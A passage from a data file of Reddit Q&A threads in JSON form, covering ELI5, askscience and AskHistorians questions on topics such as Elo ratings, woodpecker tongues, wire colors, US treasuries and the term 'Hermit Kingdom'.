you're doing.**", "My problem isn't that I can't dance. It's that I look like a child molester dancing. ", "In case someone else hasn't mentioned this specific scenario on how to dance with a girl at a club, this is how to dubstep:\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], ["http://www.youtube.com/watch?v=bquJl8XA2yY&amp;list=FLEmWcg5fX5WoCH-nLztZipg&amp;index=2&amp;feature=plpp_video"], ["http://www.youtube.com/watch?v=CE8XKeN0zk4"], [], ["http://invisiblebread.com/comics/2012-07-12-how-to-dance.gif"], ["https://www.youtube.com/watch?v=2bH0OXsmsbQ"], [], [], ["http://www.youtube.com/watch?v=NWOLVuQzCOs"], [], [], [], [], ["http://www.youtube.com/watch?list=WL11A869B5E4067FA8&amp;v=twqM56f_cVo&amp;feature=player_detailpage"], [], [], [], [], [], [], ["http://www.youtube.com/watch?v=iT_IiHsZtWg"], ["http://www.youtube.com/watch?v=KQ3Xom5XAM4"], ["http://www.youtube.com/watch?v=ZPaMdxC6CQI"], [], [], [], [], [], [], [], [], [], ["http://www.youtube.com/watch?list=WL11A869B5E4067FA8&amp;v=twqM56f_cVo&amp;feature=player_detailpage"], [], [], [], [], ["http://files.g4tv.com/ImageDb3/287911_S/How-To-Dubstep-In-Two-Simple-Steps.jpg"]]}
{"q_id": "19qbvv", "title": "(kinda): adventure time", "selftext": "This isn't one of those \"I don't like this show, please tell me why you idiots love it,\" troll posts.\n\nI'm in the UK and as far as I know, Adventure Time doesn't air here. I've watched the pilot on YouTube and it seems ok. It's random and a childhood throwback kinda thing, I get that. But please explain to me its long-term appeal, and why you're all squealing like little girls at it being on Netflix now.\n\nI like American cartoons. The usual stuff like Futurama, South Park, Archer, also most of the Space Ghost C2C era Adult Swim shows. I like shows like Johnny Bravo or Ren  &  Stimpy or Fairly Odd-Parents that are definitely for kids, but have plenty of stuff for grown ups to enjoy, adult humour that flies over the kids' heads. But Adventure Time seems different, like it's *for kids* but adults enjoy it for what it is.\n\nSo there you go, ELI5, **tl,dr** explain the appeal of a show for 5 year olds to a 30 year old. Role reversal.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/19qbvv/eli5_kinda_adventure_time/", "answers": {"a_id": ["c8qcxhf", "c8qf9m3", "c8qfk7m"], "score": [9, 9, 4], "text": ["It's a very layered show. All that random stuff takes on meaning with time. One example is a snail that is in every episode (Like in the background waving) and by season 3 it becomes a very sinister and ominous thing to see. \n\nIt's a kids show, but it still has great character development and writing. If you watch more you will see that as it goes on it slowly leans into darker and darker themes. \n\nAnd it's funny.", "Most importantly, it's personal preference. I never liked Ren  &  Stimpy, but that doesn't make it a worse show. It just means *I* didn't like it. Similarly, the fact that you *did* like it is just personal opinion. It's unfair to suppose that one opinion is more valid than the other.\n\nSecondly, there are 'two sides' to Adventure Time. You can watch it mindlessly (in which case it's just an entertaining cartoon about silly kids doing random things), or you can pay attention to it. If you pay attention, you'll discover a different world. The Land of Ooo is actually a post-apocalyptic earth, the result of an atomic bombing gone horribly wrong. All the characters are products of the nuclear fallout and radiation.\n\nWhen you re-watch it with that in mind, you start to see/understand things that you were oblivious to before. You notice the strange craters in the ground that had no explanation. You see the destroyed buildings and technology that litter the distance. The character's dialogue gains a double-meaning. You even get to see some characters having nightmares/flashbacks, such as being abandoned by their parents in the midst of the war. It almost becomes a morality tale in human culture.", "...it's on netflix?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "46wg8q", "title": "If the earth's atmosphere was compressed into a liquid, how would it compare in volume to the oceans?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/46wg8q/if_the_earths_atmosphere_was_compressed_into_a/", "answers": {"a_id": ["d08cco1", "d08liui", "d08rbgg"], "score": [341, 38, 4], "text": ["Perhaps a bit surprisingly, it's really not that much. The total mass of all gases in the atmosphere comes out to 5.15\\*10^(18) kg. Since most of this gas (~80%) consists of nitrogen, let's use the density of liquid nitrogen, which is 0.807 kg/L. Dividing the two numbers we get, 6.4\\*10^(18) L. This may sound like an insanely large volume, but it doesn't seem that much when you find out that all water on Earth comes out to a volume of 1.4\\*10^(21) L. **In other words, all of the gases in the atmosphere when compressed would occupy less volume than half a percent of the volume of water on Earth!**\n\nTo give you a better visual of what that would look like, if all the water on Earth were bunched into a sphere, it would look [like the larger sphere in this picture](_URL_0_). If all the Earth's gases were compressed down to a similar liquid sphere, you would only get a small drop, more than 100 times smaller in volume, just smaller than the middle drop in that image.\n\nedit: clarified the comparison a bit\n", "Atmospheric pressure at sea level is 1 bar, hits 2 bar at 10m below the waters surface. I'd assume this implies that if the air were compressed to liquid, it would occupy roughly 10m of space above the ground/oceans. \n", "The [USGS estimates](_URL_0_) the volume of water in Earth's atmosphere at any given time at 3,094 cubic miles and [NOAA estimates](_URL_1_) the volume of water in Earth's oceans at almost 333 million cubic miles.  So there is about 100,000 times more water in the oceans than in the atmosphere."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://i.imgur.com/aGl5A0Z.jpg"], [], ["http://water.usgs.gov/edu/watercycleatmosphere.html", "http://oceanservice.noaa.gov/facts/oceanwater.html"]]}
{"q_id": "bt33mg", "title": "why is china dumping us treasuries a bad thing? doesnt that just transfer ownership of the deby?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bt33mg/eli5_why_is_china_dumping_us_treasuries_a_bad/", "answers": {"a_id": ["eotenz4", "eotjg01", "eotlnes", "eotx0gl", "eotz8p3"], "score": [42, 22, 35, 4, 2], "text": ["It's not bad if they sell some. It would be bad if they tried to sell all of what they own. \n\nIt's supply and demand. And China has a lot of supply (they own a lot of treasuries). If they tried dumping all of it, it would lower the value of the treasuries. And that would definitely affect the US. It would also affect China negatively. And it would affect the world's economy negatively. \n\nIt won't happen.", "China own $1.12T in US debt, Japan owns $1.04T, there is a total of $22T.\n\nIf China sells their 5% of US debt, and other investors buy it at close to listed value, then China has lots of cash.  That's not a bad thing.\n\nIf China sells their 5% and other investors will only buy it at a deep discount, then China loses a lot of money and the reliability of US debt could be seen as lower.  Both these things are bad.\n\nAs of recent transactions, it seems like there are plenty of buyers.", "If China dumps US Treasury securities they will be dramatically increasing the supply and thus lowering the price. The way Treasury securities work is that when the price goes down the yield, which is the profit being made by the holder from government payments goes up.\n\nThis is bad for two reasons. 1) It means when the US borrows money in the future it will cost more to do so (they must offer the current market yield or better to be able to competitively sell new securities) and, 2) Interest rates, particularly long term interest rates like mortgages, will increase because they are usually pegged to the ten year Treasury rate, meaning consumers and businesses in the US will not be able to borrow as much.\n\nEdit: Grammar", "Simply put if they sell the debt the US interest rates go up. Consider the shock on the market in 2018 when our own central bank raised rates by 1%.  \n\nIf the largest US debt holder liquidates it could also impact the US credit rating. Considering US treasuries are \u201crisk free\u201d, if they all of the sudden weren\u2019t \u201crisk free\u201d that would also shock the system. \n\nFrankly I\u2019m not sure why some people shrug this off as a nonevent.  The US is plagued by an excessive debt crisis.  We literally fund everything through debt.  If our largest debt buyer no longer buys and also sells it would have a crippling effect on our economy.  This would in turn shock the global economy. The question then becomes who can recover faster.  If China gets to the point where they feel the Trump administration is pushing them toward a recession they can easily drag the rest of the world down with them.", "In the simplest terms yes. But this is also part of the trade negotiation/war that is going on between the US and China and probably is best seen as another negotiating tactic. \n\nThe US imports far more than it exports to China. This, by default, means that China accumulates US dollars (US denominated assets) In this case a part of it (1Trillion of it) is invested in US Bonds. \n\nThe US administration has used a tariff on imports which China cannot retaliate in kind because it imports much less from the US. (although the impact of the tariff is shared with a large portion being a tax on US consumers rather than being \"paid for\" by Chinese exporters) \n\nChina in return can threaten to dump it's holdings of US bonds. A rapid selloff can (will!) cause the price of the bonds to drop because buyers see a rise in the supply of bonds (most things lower in price when there is too much supply available because buyers will negotiate better deals for themselves and can force sellers to compete) \n\nA drop in bond prices causes interest rates to rise (it must) and this hurts the people who need to borrow money (since this is US Dollars, it will have most impact in the US although much international financing uses the USD as the base currency for loans) This typically slows down the economy.\n\nNow this also hurts China because their remaining bond holdings also depreciate in value but, like the tariff scenario, China perhaps figures that it hurts them less and the US more. This might give China more leverage in any trade negotiations if they can credibly threaten to harm the US economy. \n\nIs the threat credible? No one really knows. Since to sell the bonds means converting USD assets into assets of another currency or using it to purchase other USD assets (property, companies, etc), China must be willing to own those assets (Yen? Euro? Pounds? - there aren't that many currencies that are large enough and liquid enough. China probably won't hold it in a weak currency)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "a7uc4x", "title": "How do woodpeckers control their tongues?", "selftext": "And what are the tongues attached to (preventing it from just being pulled out completely)?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/a7uc4x/how_do_woodpeckers_control_their_tongues/", "answers": {"a_id": ["ec97od0"], "score": [3], "text": ["Interesting question! Woodpeckers have some unique and specialized anatomy to help with tongue structure/function as well as ways to deal with the excessive head banging.\n\n & #x200B;\n\nWoodpeckers have a long tongue, with sublingual glands that produce a sticky substance to help \"catch\" insects while exploring trees. The tongue muscles are supported by an extensive hyoid apparatus that extends around the back of the skull and over the head and may enter the nares (nostrils) in some species; this is all contained under the skin and  aids the woodpecker in extending its tongue extremely long distances in order to spear insects beneath bark or leaf litter. A CT image of the hyoid structure can be seen [here](_URL_0_).\n\n & #x200B;\n\nThese birds also have a straight bill, specialized microstructure of the cranial bones to increase their strength, a modified hinge between the skull and mandible that redirects the force away from the brain, and modifications to the structure of the eye to prevent head injury during hammering into wood.\n\n & #x200B;\n\n & #x200B;\n\nHope this helps.\n\n & #x200B;\n\n & #x200B;\n\nSources: \n\nBock, W. J. 1999b. Functional and evolutionary morphology of woodpeckers. Ostrich 70:23-31.\n\nSykes, JM. Piciformes. In: Miller RE, Fowler ME (eds.). Zoo and wild animal medicine, Volume 8. St. Louis (MO): Elsevier, 2014. p. 230-235.\n\n "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://digimorph.org/specimens/Melanerpes_aurifrons/"]]}
{"q_id": "bnkmui", "title": "do wire colors matter?", "selftext": "Looking to build something and the guide for it contains color coded wires. Do I need to buy wires of various colors or are they all created equal?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bnkmui/eli5_do_wire_colors_matter/", "answers": {"a_id": ["en6hlcr", "en6hssh", "en6hucq", "en6iw9r", "en6l3bz", "en6tb9d"], "score": [5, 3, 29, 13, 6, 3], "text": ["Are you referring to ethernet cables? Romex for your house? Jumpers for a raspberry Pi project??", "Excepting for different gauges of wire, they should be the same. The color is only on the outer sheath. Usually to help you identify which is which when facing a number of them.", "In terms of electrical capacity , all colors of the same thickness are equal. But, there are expectations about what wire colors mean. Usually red or black is hot, white is neutral and green is Earth ground. \nAre we talking power wiring or signal wiring?", "As others have pointed out, using the same guage of wire is what matters electrically.  \n  \nHowever using the right color of wire gives important clues to people that may need to fix what you\u2019ve done.  In the case of a small personal project it helps to train yourself for when you are working on non-personal projects.", "Technically it doesnt matter. But there is an accepted system. (This is for the US.)\n\n\n\n\nHot colors: (120v/240v) Black, Red, Blue\n\nHot Colors: (277v/480v) Brown, Orange, Yellow \n\nNeutral: (120v/240v) White\n\nNeutral: (277v/480v) Gray\n\nGround: Green or Green w/Yellow stripe.\n\n\nThere's also systems in place for low voltage wiring, but I'm unfamiliar with them.\n\nWhat you really need yo pay attention to is what ampacity/voltagr the wires are rated for and whether or not you need to take any deration into consideration.", "For Rpi, the color doesn't matter in the sense of the function of carrying the signal. \n\nHowever, you will soon find that if you work over a few weeks and in a group, that keeping to some color system makes sense. Modules fail and oftentimes your project needs debugging during testing and you may have ideas to improve things after awhile. This is especially true if you're using proto boards. \n\nFirst priority is to use the same colors for the power lines. 3.3V and 5V mixups will damage some modules. Often, you'll daisy chain 3.3V and 5V and keeping them easily identified is good practice. Ground is another one. \n\nThen there are serial signals that daisy chain as well. Again making sure all these serial lines are color coded makes for easy debug. \n\nYou will find more time spent (if you are new) figuring out \"what went wrong\" than actually building most semi-major projects in the first place."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "beovil", "title": "what does the statistic \u201celo\u201d measure/mean?", "selftext": "I\u2019ve seen it in two very different contexts with similar scale in measurement: Ranking Competitive Destiny, and rating baseball teams.\n\nSo, what does it stand for or mean, what does it measure, and how does it measure", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/beovil/eli5_what_does_the_statistic_elo_measuremean/", "answers": {"a_id": ["el7ek73", "el7gg9c", "el7gnib", "elavk0t"], "score": [7, 6, 3, 2], "text": ["Just FYI, the name is not actually an acronym (and so doesn't need to be fully capitalized), but is instead the surname of [Arpad Elo](_URL_0_) who invented the system for chess initially.  I'll let someone with an actual math background go into the details of how it works though.", "ELO is an estimate for the strength of competitors in a certain category, originally human chess players.\n\nThe difference between two competitors ELO values can be translated to a chance of victory. Very roughly speaking, for every 8 points of ELO advantage your chance of victory increases by 1%.\n\nAfter any match, the victor gains points from the loser depending on this probability (the less likely yoir victory, the more points you gain) and a \"K-factor\" which stands for the importance of the match (so you can make championships matter more than exhibition matches).\n\nRandom example. You win a K-15 match against an opponent rated 100 points higher. ELO gave you a 37.5% chance of victory which you overperformed by 62.5%. Therefore you take 15 * 62.5% = 9.375 points from the guy you defeated.", "it's basically a relative ranking of skill.  two people of equal ELO should each have a 50/50 chance of winning.  if the difference in ELO is higher than the higher one has a more likely hood of winning.", "I'll show some of the math, although apologies for having to do it with text.\n\nPlayer 1 has rating A\n\nPlayer 2 has rating B\n\nAn expected score of 1 means \"I'm going to win for certain.\"\n\nAn expected score of 0 means \"I'm going to lose for certain.\"\n\nThe Expected Score for Player A, against Player B:\n\n[_URL_0_))](_URL_0_)))\n\nOr in text: 1 / (1 + e\\^((B-A)/M))\n\nYou could view this formula first as 1/(1 + X). When X is very large (player 2's rating is much higher than player 1's rating) the overall quantity goes towards zero (player 1 is predicted to lose.) When X is very small the overall quantity goes towards 1, and that means player 1 is predicted to win. Notice that if A = B (the player's scores are equal) then X = e\\^0 = 1, and so we get an overall quantity of 1/2 (player 1 and 2 are predicted to be equally matched, as they have equal ratings.) The overall function is a logistic function. What about the constant M? Well a large M means that ratings differences matter less, and so your overall elo ratings are going to tend to be larger. One possible value is M = 400.\n\nThere is another important piece to this puzzle, and that's how to get a new score after a match. So your opponent has a rating of 1200, your rating is 1300, and M = 400. Let's say that you win the match, which let's say counts as 1 point (as opposed to 0 for losing.)\n\nYour New Rating = Your Old Rating + K(your actual score - your expected score)\n\nYour New Rating = 1300 + K(1 - 0.562) = 1300 + 0.438K\n\nWe can see that your expected score was near 0.5 because the rating difference between you and your opponent wasn't that large. Since you actually got a score of 1, your rating is going to go up. If your expected score had been very low then this would mean your opponent had a much higher rating, and thus winning would lead to a bigger score increase in your rating. That's how you're rewarded for defeating higher rating opponents (or punished for losing against lower rating opponents.) Anyway, 0.438 is approximately the degree to which your score exceeded expectation, but if your rating only increased by 0.438 then that would seem to be far too small. You would need to play tens of thousands of games to get anywhere. However, if K = 1000 then your rating would fly up to 1738 from 1300, and that would lead to too much variance among players. The value for K needs to be selected with some careful consideration."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Arpad_Elo"], [], [], ["https://www.wolframalpha.com/input/?i=1%2F(1+%2B+e%5E(+(B-A)%2FM"]]}
{"q_id": "330ukx", "title": "Was Spanish King Sancho VII at 7'4\" the tallest ever monarch in recorded history?", "selftext": "The wiki article states that historian and forensic anthropologist, Luis del Campo, who studied King Sancho VII of Navarre's mortal remains, affirms that he was 2.23 metres (7.3 feet) in height.\n\nWouldn't that make him the tallest monarch in history? \nOr were there monarchs taller than him?\n\n_URL_0_\n\nAnyways what surprised me was that he lived to be nearly 80 years old despite his huge height.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/330ukx/was_spanish_king_sancho_vii_at_74_the_tallest/", "answers": {"a_id": ["cqgifhv", "cqgksjg", "cqh4dtq", "cqh63k8"], "score": [39, 13, 8, 2], "text": ["While Manute Bol's grandfather was not a monarch but a tribal chief was 7'10\"", "The wiki doesn't give a source for that precise figure and Luis del Campo is quoted elsewhere as saying he could have been 'nearly seven foot' so I'm dubious. ", "There's a claim that the 3rd century Roman Emperor Maximinus Thrax was over eight feet tall (eight feet six inches, which, translated from Roman to US customary units, might be about eight feet three inches, or 2.5m metric) . However, while all sources claim Maximinus Thrax was pretty big, the particular figure claiming over eight feet comes from the notoriously unreliable *Historia Augusta*.", "When English traveler and archeologist [Austen Henry Layard](_URL_0_) visited Montenegro he wrote that their ruler [Petar II Petrovi\u0107-Njego\u0161](_URL_2_) was seven and a half feet (228cm) tall. \n\nHowever by measuring his bones scientist Dr Bo\u017eina Ivanovi\u0107 estimated that Njego\u0161 was between 191.56 cm and 193.44 cm.\n\nIn other words how sure are we about any historical records of people's size, especially if we are talking about royals. \n\nSource (in Montenegrin Serbo-Croatian) \n\n_URL_1_\n"]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Sancho_VII_of_Navarre"], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Austen_Henry_Layard", "http://slobodnarijec.me/feljton/njegos-nije-bio-gorostas-17", "http://en.wikipedia.org/wiki/Petar_II_Petrovi%C4%87-Njego%C5%A1"]]}
{"q_id": "1wo00c", "title": "why is pickpocketing worse in countries in europe and asia?", "selftext": "It seems like whenever anyone goes to Europe or Asia from the US, Canada or similar countries, a big worry is about pickpocketing.  There are even special under the shirt wallets and bags to buy for going over there to make it more difficult.  I've even seen backpacks with metal bottoms so it can't get slashed and your stuff stolen.  \n\nIf someone was coming to the US and taking public transit or going to a touristy place, I probably wouldn't tell them to worry about it.  I take public transit all the time and I really don't.  Why such a difference?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1wo00c/eli5why_is_pickpocketing_worse_in_countries_in/", "answers": {"a_id": ["cf43er3", "cf3sn1i"], "score": [2, 3], "text": ["As far as Europe it is because pickpocketing is far more common than in the US. I have never been stolen from in the US all my life. I have also been to Brazil a lot and never been robbed/pickpocketed. \n\nI got to Barcelona however and BAM, I get robbed of all my money. Pretty sure it happened on a train from Barcelona to Paris, by someone who worked on the train possibly, because my wallet and passport (passport was in the wallet) where returned to the train station sans about 600 Euros (all of it).\nI have also known and seen several people being robbed on the Paris Metro and elsewhere on my Euro trip.\n\nIf you are European you probably don't have it happen to you because tourist make easier targets and often have large amounts of cash and other valuables on them.", "Mostly because of the influx of poorer, former eastern bloc, countries.\n\nThey see the Western European nations as soft targets, with soft punishments if caught. The risk far outweighed by the reward."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5gu93j", "title": "Why did people already use the term \"Hermit Kingdom\" to Korea even before the division?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5gu93j/why_did_people_already_use_the_term_hermit/", "answers": {"a_id": ["davcpno"], "score": [3], "text": ["A number of late nineteenth-century orientalist intellectuals popularized the term in their writings on Korea. In particular, the orientalist and Protestant minister William Elliot Griffis helped push the hermit moniker for the peninsula with his 1882 book [*Corea, the Hermit Nation*](_URL_1_). Griffis had already been involved in Meiji modernization and his contacts within Japan allowed him access to material on Korea. The peninsula's importance to Western interaction with East Asia was, at best, peripheral for most of the nineteenth century. Most of the regional focus of the West was on either the Chinese markets or the Japanese after Perry's visit to Japan. This meant that Korea remained largely an unknown to Western observers outside its immediate geography. Therefore, the late-nineteenth century writers on Korean affairs like Griffis or [Henry Davenport Northrop](_URL_0_) tended to write of Korea as a country that was locked out of the wider stream of time. For this narrative, the term hermit fit because it suggested a self-imposed isolation. Griffis's  introduction has a rather flowery explanation of Korea's isolation that simultaneously explains it as well as dismissing it as a relic of the past:\n\n > The most striking fact manifested in the past history of Corea is the national policy of almost complete isolation and non-intercourse with other nations of the world. In this indisposition to intercourse with other countries, the Coreans have been greatly assisted by the physical environment of their country, surrounded as it is on three sides by ocean waters, with but few safe landings and harbors, and separated from the Asiatic continent by an inhospitable mountain barrier. Nothwithstanding the national policy of this seagirt and hermit nation has for ages steadily resisted the rising tide of progress and civilization, she has at last been compelled to open her gates both by sea and land, to social, commercial, and political intercourse with other nations and peoples. This great revolution in the customs of the people and the policy of the government has only been inaugurated within a recent period. \n\nNorthrop likewise depicts Korea as having awakened from a long slumber as did other Western commentators like [Arnold Henry Savage-Landor](_URL_2_). \n\nOne of the many problems with the term Hermit Kingdom is that it tended to frame Korean history only through its relationship, or lack of one, with the West. Nineteenth-century use of the term tended to ignore or explain away Korea's long history of governmental, cultural, and social interaction with its neighbors. Moreover, Korea's government was not the only one that sought to limit the penetration of Westerners in Korean society in the nineteenth century. Both the Japanese and Chinese sought to do the same, with varying results, and the marginality of Korea to Western trading and political networks meant that its isolation policies only came under siege a generation or two later than its neighbors. \n\nBut the Hermit moniker stuck, especially after the Japanese occupation of the peninsula. Japanese imperial policies of trade protectionism restricted Western access to the peninsula outside of a few missionaries. Korea received a relatively low priority for Allied policymakers in the Second World War. Roosevelt and Truman's Secretary of State Edward Stettinius Jr. reportedly could not find Korea on a map and there were very few specialists proficient in Korean during the postwar occupation. Donald MacDonald, one of the State Department's officials for the occupation recalled that on the boat ride to Inchon, the only printed material he could find on Korea were a few pages of *Terry's 1905 Japanese Empire*, which were subsequently typed out and mimeographed for the rest of the occupation forces. \n\nGiven this paucity of information, it was not surprising that these older forms of describing Korea had greater longevity in the West, especially since the post Korean War DPRK has little engagement with the West. But terms like the Hermit Kingdom do not so much explain the DPRK as muddle the actual nature of its history and foreign policy. The DPRK's at times eclectic foreign policy is far from hermit-like and sometimes quite shrewd, as historians like Charles Armstrong have shown in their various works. As with other colloquialisms for entire countries, the term Hermit Kingdom says more about the speaker than the subject. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://catalog.hathitrust.org/Record/001869897", "https://catalog.hathitrust.org/Record/008641571", "https://archive.org/details/coreaorchosenlan00landrich"]]}
{"q_id": "fy4fgu", "title": "Wearing gloves can reduce your dexterity and control over objects. Knowing this, would some medieval soldiers or knights chose not to wear gloves when going into battle?", "selftext": "I can\u2019t help but noticed that whenever I were gloves, ether dish gloves or disposable gloves for my chemistry class, I have reduced dexterity and control over the object(s) I will be holding. Would some medieval solders or knights chose not to were gloves for this reason, even though their hands hard unprotected?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/fy4fgu/wearing_gloves_can_reduce_your_dexterity_and/", "answers": {"a_id": ["fmz8sbn"], "score": [4], "text": ["Yes, they would. It is a tad hard to write an extentive answer over this because the main material we work with when it comes to configurations of armour are art pieces, which show contexts in which soldiers and knights choose not to wear gloves. My favourite french manuscript, the BNF 2643 (a 1470s edition of froissarts chronicles) depicts things in great detail and shows soldiers without gauntlets rather commonly. This is also sometimes seen illustrated in fencing treatises, one example being the Gladiatoria group which also showcase not using gauntlets rather commonly\n\nNow obviously written mentions are better when it comes to this, but equipment laws and regulations do not really share what wouldn't be worn, only what would. With that being said though in most of these statutes gauntlets are not mentioned as necessary wear, except for some cases in England and Scotland where the soldiers are told to specifically be armed with iron gauntlets. This is around the mid-14th century, and as far as I have seen later statutes in the 15th century do not mention gauntlets either.\n\nSo to clarify - yes there are cases where knights and footsoldiers opted out of wearing gauntlets. This is more common with footsoldiers, partly because they're less well equipped in general but partly because of ther use of long polearms in the late middle ages (such as pikes and halberds/glaives/bills, while knights commonly used shorter lances and pollaxes) which lessens the need for hand protection"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1ggydg", "title": "How did people in your field deal with bright sunlight before the invention of sunglasses?", "selftext": "I was walking outside earlier this afternoon and it was so bright out that I could barely open my eyes.  I was cursing myself for leaving my sunglasses at home, when it occurred to me, what on earth did people do about this problem in the past?  Particularly mariners, as the sun's reflection off the surface of water can really become blinding at certain points of the day.\n\nAs a Canadian, I was taught in school that the Inuit used to wear what we called \"snow goggles\", which were basically like a form of primitive sunglasses, without using lenses.  Sunlight will reflect off snow and become extremely blinding at times, so I am not surprised they engineered a tool to help themselves with this problem.  \n\nPhoto: _URL_0_\n\nHow did people from your area of expertise handle the blinding glare of the midday sun?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ggydg/how_did_people_in_your_field_deal_with_bright/", "answers": {"a_id": ["cakrj6r"], "score": [2], "text": ["The snow goggles that you mentioned, or a more primitive form (wrapping strips of cloth around so that only a narrow slit for the eyes was open) were used in the Himalayas as well.\n\nSource:  *The Snow Leopard* by Peter Matthiessen, a modern memoir, but one about an expedition high in the Himalayas where some of the the Sherpas use this method.  However it is worth noting that most people just avoid the conditions, a number of Nepalese porters get snow blindness because they never had reason to go into high ice fields where this would be a problem."]}, "title_urls": [], "selftext_urls": ["http://www.ic.sunysb.edu/Clubs/socia/images/inuit/inuit_large.jpg"], "answers_urls": [[]]}
{"q_id": "372oas", "title": "why do people's face on this picture look weird when seen in your peripheral vision?", "selftext": "[Picture](_URL_0_)", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/372oas/eli5_why_do_peoples_face_on_this_picture_look/", "answers": {"a_id": ["crj6cq6", "crj6e67", "crj78g9", "crj7zzm", "crj98tb", "crjgz7g", "crjltl7"], "score": [202, 36, 4, 3, 5, 4, 3], "text": ["When faced with rapid fire images on the outside of your focal point, you brain attempts to 'summarise' the details, and basically grabs what your brain determines to be the defining features and really exaggerates them, rightly or wrongly so you can make those split second decisions about what you see but aren't focusing on.", "I am not a neurologist, but I think this is jamming our facial recognition software. We are really good at recognizing faces. Absurdly good. We've been trying to make computers that can do it for decades and our results so far are rudimentary at best, just to give some insight into how ludicrously difficult this is from a programing perspective. What I think is happening here is your brain is overlaying face shape onto the wrong image, as it expects both images to be of the same face. When you focus on the dot, each eye is effectively seeing only one of the faces, and your brain sorts this out by trying to mash all of the information together into a face soup in the post-processing phase because it both isn't used to dealing with this exact problem and because it doesn't have the processing capacity to deal with it either.", "Now I ain't no neuro-shmuro doctor either, but I did poke my nose real hard once. Anyway, notice that the eye placement of all the pictures is at the exact same spot. ", "also most of the pictures are somewhat distorted anyway, the side vision is  exaggerating the existing distortions", "I would add that most of the pictures shown are very non-symmetrical. A lot of non-direct pictures and interesting facial and mouth expressions. The brain appreciates facial symmetry, so I'm guessing that the lack of it in these pictures doesn't help.", "It has nothing to do with peripheral vision. You can cover one of the images up and look directly at the other and it'll still happen. In fact, if you download that image, keep one face up for a bit and then flip to the next, it'll still look weird for a bit, until your brain adjusts. \n\nYour brain \"holds on\" to facial features, and since it's very, very irregular for a face to just *completely* change like that, it takes your brain a while to catch up with your eyes. These guys are flipping too fast for your brain to adjust. ", "Apparently, we haven't yet figured out why that phenomenon occurs:\n\n[Wikipedia page on the \"Flashed Face Distortion Effect\"](_URL_0_)"]}, "title_urls": [], "selftext_urls": ["https://i.imgur.com/tnL0Cn1.gif"], "answers_urls": [[], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Flashed_Face_Distortion_Effect"]]}
{"q_id": "1eioi5", "title": "If we sent an underwater probe to Europa, how would it transmit data back to the Earth through many kilometers of presumably salty water and ice?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1eioi5/if_we_sent_an_underwater_probe_to_europa_how/", "answers": {"a_id": ["ca0loxe", "ca0lr0r", "ca0osja", "ca0qkj1", "ca0r3xi", "ca0ubou"], "score": [29, 13, 42, 2, 8, 7], "text": ["Floating wire antenna, or better yet tethered buoy antenna that has solar cells.", "John Hopkins applied physics lab is working on this now", "A tethered relay in the surface of Europe (low power, low-gain antenna) and a high-gain relay in orbit, with a direct link to a radio station on Earth.", "Theoretically, you could transmit on a wavelength that exceeds the depths you're at. The transmission would just diffract around the miles of ice/earth. This transmission could be intercepted, converted and retransmitted by an orbiter, similar to the MRO.", "Relays. The underwater probe could have a tethered connection to a surface transmitter, which would use short range transmission to an orbiting satellite which would then transmit the signal through space to Earth. ~~Well, to a satellite orbiting the Earth, and from there down to Earth.~~ Communication relays for the win!", "The transmission of data is, unfortunately, the 3rd problem we have to solve.  The first problem is boring through a few miles of ice with something the size of a 2-liter bottle.  The second problem is how we're going to power that object.  Finally, how do we get data out of that well, and back to Earth?\n\nI suspect that a *very* large robitic vehicle will be necessary to do all of this.  Something like a remotely controlled drilling station."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "9trn5f", "title": "by what method does raw computer code get \"translated\" to the stuff we see on-screen?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9trn5f/eli5_by_what_method_does_raw_computer_code_get/", "answers": {"a_id": ["e8ym7f6", "e8yo8tc", "e8yqr6x", "e8yrkiv", "e8yvklv", "e8yz5f1", "e8yzfo8", "e8yzk1x", "e8z02ak", "e8z1bzi", "e8zhtnw"], "score": [206, 38, 2, 10, 4, 2, 2, 2, 2, 2, 2], "text": ["The code that programmers write is considered \"high level\". It's written in a computer language that makes sense to humans. Then it goes through an optimizer that checks through it to see if it can be reduced down to a less commands for faster performance. At the point it gets changed to a format that humans can't really understand. Then it gets converted into machine code, literally the ones and zeros of binary. At this point, only the processor understands it.\n\n & #x200B;\n\nThat code runs the while the computer is on. It mostly waits for things to happen like for the user to click the mouse or for data to arrive from the internet. When something happens, part of the code called  \"handler\" gets executed. It looks at what happened and decides what to do about it. \n\n & 